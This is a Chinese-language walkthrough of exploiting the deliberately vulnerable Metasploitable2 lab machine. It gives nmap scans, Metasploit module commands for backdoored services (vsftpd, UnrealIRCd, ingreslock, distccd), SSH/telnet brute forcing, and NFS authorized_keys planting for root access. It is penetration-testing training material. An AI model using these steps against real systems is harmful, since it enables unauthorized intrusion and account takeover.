zl程序教程

您现在的位置是:首页 >  其他

当前栏目

metasploit2-practice

2023-04-18 15:27:28 时间

Metasploittable2打靶教程

本次靶机练习主要熟悉:高危端口利用;metasploit中search,show及各个模块使用。

一、环境准备

1.把靶场放在vmware打开,启用nat模式:

image-20230222085115512

2.启用kali

image-20230222093421425

二、信息收集

3.确认目标:

使用nmap扫描该局域网,确认目标开放端口服务信息。

sudo nmap -sS 192.168.1.0/24

image-20230222085316458

image-20230222202521147

这是后面复现完第一张漏洞时,查看靶机漏洞清单,发现少了些端口,还以为是自己靶机没开这些端口呢,结果是自己nmap端口没扫完。这是后面重新扫描的第二张,可见最好平时做实战及靶机时最好扫完 全端口,以免遗漏高端口漏洞。

4.确认操作系统

sudo nmap -O 192.168.1.0/24

image-20230222092359251

也可以和之前的命令一起用

例:sudo nmap -sS -O 192.168.1.0/24

实战中:在确认目标IP后,建议使用:sudo nmap -PN -O 192.168.1.130

更详细服务信息,以便收集已公开漏洞

sudo nmap -sS 192.168.1.130

image-20230222132219982

漏洞清单:

img

从顺序来吧

21(ftp)

vsftpd是在UNIX 类操作系统上运行的一个完全免费的、开放源代码的ftp服务器软件

可用msf扫描该服务,该ftp正常来说只有匿名访问和弱口令。

匿名访问:

image-20230222142733591

1.启用msf

msfconsole

2.寻找漏洞代码 (vsftpd),查看该服务有无漏洞

search vsftpd

image-20230222131529250

image-20230222094423143

3.使用

use 0

image-20230222094638558

显示payloads

 show payloads

image-20230222094741846

只有一个就自动选择

也可手动定义payload

image-20230222094923906

4.查看配置

show options

image-20230222095010520

5.设置目标

set rhost 192.168.80.130

image-20230222095130472

6.运行

run 或者exploit

image-20230222095711290

直接root权限

22(ssh)

Search  ssh_login       搜索模块
Use  auxiliary/scanner/ssh/ssh_login    使用模块
Set  RHOST 192.168.1.130    设置目标地址
Set   USER_FILE  XXX   设置用户字典路径
Set   PASS_FILE  XXX   设置字典密码路径
Set   THREADS   100   设置线程是100
Run  

image-20230222104215462

爆破成功msfadmin:msfadmin

image-20230222104643501

23(telnet)

search telnet_login
use 1
Set  RHOST 192.168.1.134    设置目标地址
Set   USER_FILE  XXX   设置用户字典路径
Set   PASS_FILE  XXX   设置字典密码路径
Set   THREADS   100   设置线程是100
Run  

image-20230222104822458

image-20230222105129298

image-20230222105230454

80(php-cgi)

先访问该该网站是什么站:

image-20230222105843254

  • Mutillidae 和 DVWA这两个练习平台就不说了

  • 扫描目录发现漏洞点

    • 2012年的漏洞

      server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入

    • phpinfo.php ===>php-cgi

      • image-20230222110403873
      • image-20230222110504026
    • phpadmin

search php-cgi
use 0
set rhost 192.168.1.130
run

image-20230222122610350

111(RPC)

auxiliary/scanner/misc/sunrpc_portmapper

image-20230222214615061

只能拿来ddos

139,445(smba)

image-20230222131631078

1.Samba 在配置了可写文件共享并启用了“宽链接”(默认打开)时,也可以用作某种后门来访问不打算共享的文件。

 smbclient -L //192.168.1.130

image-20230222205305030

use auxiliary/admin/smb/samba_symlink_traversal
set rhost 192.168.1.130
set SMBSHARE tmp
 run

image-20230222210216184

smbclient //192.168.1.130/tmp

image-20230222212949941

SambaMS-RPC Shell 命令注入漏洞

search samba                     
use exploit/multi/samba/usermap_script       
set rhost xxxx
run

image-20230222132641257

512.513.514 (r)

TCP 端口 512、513 和 514 被称为“r”服务,并且被错误配置为允许从任何主机进行远程访问

sudo apt-get install rsh-client
rlogin -l root 192.168.1.130

image-20230222202041707

1099(java_rmi)

image-20230222133107605

原理:Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致

use exploit/multi/misc/java_rmi_server

image-20230222133300050

1524(ingreslock):

1524端口 ingreslock Ingres 数据库管理系统(DBMS)锁定服务

利用telnet命令连接目标主机的1524端口,直接获取root权限。

Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限, 经常被用于入侵一个暴露的服务器。

image-20230222133437681

ingreslock 端口是为受感染服务器添加后门的流行选择。访问它很容易:

2049(NFS)

NFS全称Network File System,即网络文件系统,属于网络层,主要用于网络间文件的共享,最早由sun公司开发。

复现环境:Kali2017、Metasploit2
复现思路:利用NFS服务将本地主机的ssh公钥传输到目标主机上,再利用ssh连接到目标主机

1.kali下连接靶机的NFS服务

sudo apt-get install nfs-common
showmount -e 192.168.1.130
mkdir /tmp/192.168.1.130
sudo mount -t nfs 192.168.1.130:/ /tmp/192.168.1.130/
cd /tmp/192.168.1.130/
ls -la

image-20230222193156321

2.将本地主机的ssh公钥发送到目标主机并通过ssh连接靶机

ssh-keygen 
cat .ssh/id_rsa.pub >> /tmp/192.168.1.130/root/.ssh/authorized_keys 
ssh root@192.168.1.130

不过这里遇到点小坑

image-20230222194459620

image-20230222194329246

解决办法:链接

 ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.1.130

image-20230222194619031

3306(mysql)

mysql空密码:

使用模块:use auxiliary/scanner/mysql/mysql_login
search mysql_login
use 0
set username root

image-20230222142300334

3632(distccd)

除了上一节中的恶意后门,一些服务本质上几乎就是后门。

search distccd
use 0
set rhost 192.168.1.130

这里如果我们用默认的payload会no session,这里切换下payload

show payloads
set payload cmd/unix/reverse_ruby 

image-20230222203836357

image-20230222203715910

5432(postgresql)

1.爆破:

auxiliary/scanner/postgres/postgres_login 

postgresql 密码:postgres

image

2.Linux安装的PostgreSQL, postgres服务帐户可以写到/tmp目录,还有共享库,允许任意执行代码

这是nmap的指纹

image-20230222151739888

也可以通过msf的模块:canner/postgres/postgres_version

image-20230222151422793

后渗透利用推荐

5900(vnc)

vnc 密码: password

image

6667(IRC)

根据nmap指纹信息
search  UnrealIRCd
use 0 || use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.1.130
run

image-20230222140541525

一把梭失败,检查错误:发现pay失败,切换payload。

查看可用payload

show payloads

image-20230222140645975

8180(tomact)

暴力破解账号密码:tomcat;tomcat